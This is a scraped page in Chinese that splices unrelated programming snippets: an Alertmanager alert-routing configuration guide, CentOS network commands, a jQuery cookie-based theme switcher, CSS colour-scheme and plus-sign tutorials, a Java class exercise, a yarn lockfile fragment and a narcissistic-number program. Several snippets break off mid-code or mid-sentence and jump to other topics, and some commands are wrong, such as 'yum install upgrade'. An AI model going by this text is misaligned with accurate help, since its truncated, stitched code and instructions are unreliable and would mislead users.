Prometheus监控平台主要是提供了数据采集和存储功能,如果要根据事件触发告警则需要依赖Alertmanager组件来完成(或者使用Grafana Alerting)。AlertManager支持告警分组,可以将同个分组下的多个告警告警到一封邮件中进行发送,减少骚扰;另外还有告警抑制功能,和Zabbix的告警依赖同理,避免发生某个故障出现后导致其他一系列故障一起告警形成告警风暴的问题;最后还有告警静默功能,让同时间段内的告警不重复发出。
二、安装与配置Alertmanager
在Prometheus官网下载好二进制安装包并解压,通过alertmanager.yml文件就可以进行告警分组、告警路由、告警抑制、告警静默等配置。下面是一个不带告警分组与路由的最基本配置说明:
global: resolve_timeout: 5m #持续5分钟没收到告警信息后认为问题已解决 smtp_smarthost: 'smtp.qq.com:465' #告警邮件发送者SMTP地址 smtp_from: '13841276@qq.com' #发件者邮箱 smtp_auth_username: 'tanglu' #账号 smtp_auth_password: '123456' #邮箱专用授权码,不是QQ登录密码,在QQ邮箱中设置 smtp_require_tls: false #关闭tls授权 route: #定义告警路由规则,可以定义多个receiver和group实现告警分组 group_by: ['test_group'] #分组配置,在Prometheus的rules中进行分组的定义,一个分组内的告警会在一个邮件中 group_wait: 10s #分组等待时间,可以理解为将10秒内的相同事件作为一个分组,如果太短分组就没有意义 receiver: 'ops' #告警接受者,具体信息将在receivers区域中配置 receivers: #告警邮件接受者配置部分 - name: 'ops' #和上面route部分中的receiver一致,这里是定义具体的动作 email_configs: #接收器为email,除此还有其他接收器可以使用 - to: '13841276@qq.com' #告警邮件发送对象 send_resolved: true #接收告警恢复邮件 #告警抑制配置。如下配置表示发生多个告警时如果它们node标签的值相同,那么产生critical级别的告警就不对warning级别告警进行通知,告警级别的标签是在Prometheus的rules中定义 inhibit_rules: - source_match: severity: 'critical' target_match: severity: 'warning' equal: - node 2、Alertmanager路由与告警分组设置
当有告警事件发生时都会从配置文件中顶级的route开始路由,每一个路由都可以定义接受人以及匹配规则。如果route中设置continue的值为false,那么告警在匹配到第一个子节点之后就停止继续匹配。如果continue为true则会继续进行后续匹配。如果当前告警匹配不到任何的子节点,那该告警将会基于当前路由节点的接收器配置方式进行处理。告警匹配可以基于字符串或者基于正则表达式完成。
global: resolve_timeout: 5m smtp_smarthost: 'smtp.
vim /etc/sysconfig/network-scripts/ifcfg-ens33 配置好重启网卡,命令
service network restart ping网关,看能否ping得通,如果ping不同则检查所填的信息是否有问题。ping的通本机的网络没有问题了。
ping www.baidu.com yum install upgrade yum install net-tools
利用样式文件,使网页能够更换不同的主题风格,这个只是简单的小列子,更换了背景图,和字体颜色,更换主题的基本原理是这样的。通过更改,link标签里的href属性,加载不同的样式文件。这里还用到了一款JQuery插件--cookie 确保用户更换完主题后,刷新页面主题不变。
有个小技巧:就是将不同主题的样式文件名与所选按钮的id名称相同,这样利于操作。
例如:id='skin_0' 那么文件夹中需要有一个skin_0.css文件
html代码:html>
Change backgrounIMG 大黄蜂擎天柱海贼王高达超梦 JQuery代码:$(function() {
$('#skin li').click(function() {
switchSkin(this.id)
});
var cookie_skin = $.cookie('MyCssSkin');
if (cookie_skin) {
switchSkin(cookie_skin);
}
});
function switchSkin(skinName) {
$('#cssfile').attr('href', 'css/' + skinName + '.css');
$.cookie('MyCssSkin',skinName,{path:'/',expires:10});
//$.cookie('MyCssSkin',skinName,{path:'/',expires:10});
}
【下载demo】
本文地址:html页面换皮肤颜色、背景图片(更换页面背景,常驻缓存)刷新保存 https://www.shenqiu123.com/a/jianzhan/zhishi/4155.html
我最近在我的个人网站上添加了一个非常简单的配色方案(主题)切换器。您可以在网站的页脚中切换此简单的颜色切换器,以查看其实际效果。万一其他人希望将这样的功能添加到自己的站点/项目中,我想我会写一篇简短的文章解释如何做。让我们开始吧。
HTML
首先,我们需要包含“按钮”,这些按钮将触发主题根据选择的主题进行切换。(注:你总是可以使这些作为 options 一个 select 元素,如果你最好的方法)
而已!现在不必太担心 onclick 参数,我们将在添加JavaScript时再回到这一点。剩下的唯一一项是向 html 元素添加默认主题类,如下所示:
CSS
接下来,我们需要为两个 color-select 按钮设置样式,并使用将更改整个网站的自定义配色方案。我们将从配色方案开始。
为了使这些主题之间能够无缝切换,我们将更改的颜色集设置为CSS变量:
.theme-default {
--accent-color: #72f1b8;
--font-color: #34294f;
}
.theme-second {
--accent-color: #FFBF00;
--font-color: #59316B;
}
.theme-third {
--accent-color: #d9455f;
--font-color: #303960;
}
body {
background-color: var(--accent-color);
color: var(--font-color);
}
最后,我们设置面向用户的色板的样式:
.color-select button {
-moz-appearance: none;
appearance: none;
border: 2px solid;
border-radius: 9999px;
cursor: pointer;
height: 20px;
margin: 0 0.8rem 0.8rem 0;
outline: 0;
本篇文章给大家带来的内容是关于纯css实现加号一个的效果(代码示例),有一定的参考价值,有需要的朋友可以参考一下,希望对你有所帮助。
实现下图的加号效果:
若想实现这个效果, 只需一个p元素即可搞定。
需要用到css的为了before和after, 以及border特性。
先设置一个div便签
再设置一个边框:.add {
border: 1px solid;
width: 100px;
height: 100px;
color: #ccc;
transition: color .25s;
position: relative;
}
此时边框是这样的:
我们可以利用伪类before和其border-top来设置一个“横”:.add::before{
content: '';
position: absolute;
left: 50%;
top: 50%;
width: 80px;
margin-left: -40px;
margin-top: -5px;
border-top: 10px solid;
}
注意我们使了绝对定位。 此时变成了这样:
参照上面, 我们可以使用after伪类和border-bottom设置一个“竖”:.add::after {
content: '';
position: absolute;
left: 50%;
top: 50%;
height: 80px;
margin-left: -5px;
margin-top: -40px;
border-left: 10px solid;
}
在加上hover伪类,设置鼠标悬浮上去的颜色:
最终的样式:
第1关:什么是类,如何创建类
任务描述
本关任务:创建一个类和一个对象,调用这个对象的属性和方法。
相关知识
为了完成本关任务,你需要掌握:1、什么是类和对象; 2、怎么定义类; 3、怎么创建对象并使用对象的属性和方法。
什么是类
类:类是一个模板,它描述一类对象的行为和属性。
对象:对象是类的一个实例,有 属性 和 行为 。
举个例子:
人是一个 “类”,小明就是人的 “对象” ,女生/男生是一个类,你的女朋友/男朋友就是一个对象,这个对象的属性有:名字,性别,年龄;行为有:吃饭、睡觉、学习等。
在Java中对象的状态就是属性,行为通过方法体现,即Java中的对象一般由属性和行为组成。
怎么定义类
需要使用class,声明这个类的名字。
举例说明:
class Student{ //声明这个是一个学生类 } 学生类中有年龄,姓名,性别属性,方法为吃饭,睡觉和学习。
创建对象并且使用对象的属性和方法
输出:
我叫:小明今年:12 小明正在吃饭 睡觉 学习 综上我们可以发现创建对象使用的公式就是:
类名 对象名 = new 类名(); 给对象的属性赋值:
对象名.属性名 = 值; 使用对象的属性:
对象名.属性名 调用对象的方法:
对象名.方法名(); 编程要求
根据提示,在右侧编辑器Begin-End处补充代码:
声明一个Dog类,给Dog类添加三个String类型的属性,分别是name,color,variety ,定义两个方法,分别是,eat,run。
在main方法中创建一个名为wuhuarou的Dog对象,并设置name为五花肉,color为棕色,variety为阿拉斯加。
使得调用wuhuarou对象的eat方法能输出啃骨头,调用run方法能输出叼着骨头跑。
具体输出要求请看测试说明。
测试说明
测试输入:无
预期输出:使用中文冒号
名字:五花肉,毛色:棕色,品种:阿拉斯加 啃骨头 叼着骨头跑 代码实现
package step1; public class Test { public static void main(String[] args) { /********** Begin **********/ Dog wuhuarou=new Dog(); wuhuarou.
本文主要介绍HH:mm:ss.SSS格式的时间字符,通过SimpleDateFormat类和正则表达式这两种方法,将时间字符串转成毫秒。
原文地址:Java 时间字符串(HH:mm:ss.SSS) 转换成毫秒(milliseconds)
# THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY.
# yarn lockfile v1
"@babel/code-frame@^7.0.0-beta.35":
version "7.0.0-beta.56"
resolved "http://registry.npm.taobao.org/@babel/code-frame/download/@babel/code-frame-7.0.0-beta.56.tgz#09f76300673ac085d3b90e02aafa0ffc2c96846a"
dependencies:
"@babel/highlight" "7.0.0-beta.56"
"@babel/highlight@7.0.0-beta.56":
version "7.0.0-beta.56"
resolved "http://registry.npm.taobao.org/@babel/highlight/download/@babel/highlight-7.0.0-beta.56.tgz#f8b0fc8c5c2de53bb2c12f9001ad3d99e573696d"
dependencies:
chalk "^2.0.0"
esutils "^2.0.2"
js-tokens "^3.0.0"
abab@^1.0.4:
version "1.0.4"
resolved "http://registry.npm.taobao.org/abab/download/abab-1.0.4.tgz#5faad9c2c07f60dd76770f71cf025b62a63cfd4e"
abab@^2.0.0:
version "2.0.0"
resolved "http://registry.npm.taobao.org/abab/download/abab-2.0.0.tgz#aba0ab4c5eee2d4c79d3487d85450fb2376ebb0f"
abbrev@1:
version "1.1.1"
resolved "http://registry.npm.taobao.org/abbrev/download/abbrev-1.1.1.tgz#f8f2c887ad10bf67f634f005b6987fed3179aac8"
acorn-globals@^4.1.0:
version "4.1.0"
resolved "http://registry.npm.taobao.org/acorn-globals/download/acorn-globals-4.1.0.tgz#ab716025dbe17c54d3ef81d32ece2b2d99fe2538"
dependencies:
acorn "^5.0.0"
acorn@^5.0.0, acorn@^5.5.3:
version "5.7.1"
resolved "http://registry.npm.taobao.org/acorn/download/acorn-5.7.1.tgz#f095829297706a7c9776958c0afc8930a9b9d9d8"
ajv@^5.1.0, ajv@^5.3.0:
version "5.5.2"
输出1000以内所有的水仙花数。
问题分析:根据“水仙花数”的定义,判断一个数是否为“水仙花数”,最重要的是要把给出的三位数的个位、十位、百位分别拆分,并求其立方和(设为result),若result与给出的三位数相等, 三位数为“水仙花数”,反之,则不是。
package com.JavaClass; public class NarcissisticNumber { public static void main(String[] args) { fun(); } public static void fun(){ for (int i = 100; i < 999; i++) { int nuits = i % 10; int decades = i / 10 % 10; int hundereds = i / 100; double result; result= Math.pow(nuits, 3) + Math.pow(decades, 3) + Math.pow(hundereds, 3); if (result == i) { System.out.println(i); } } } } 运行结果: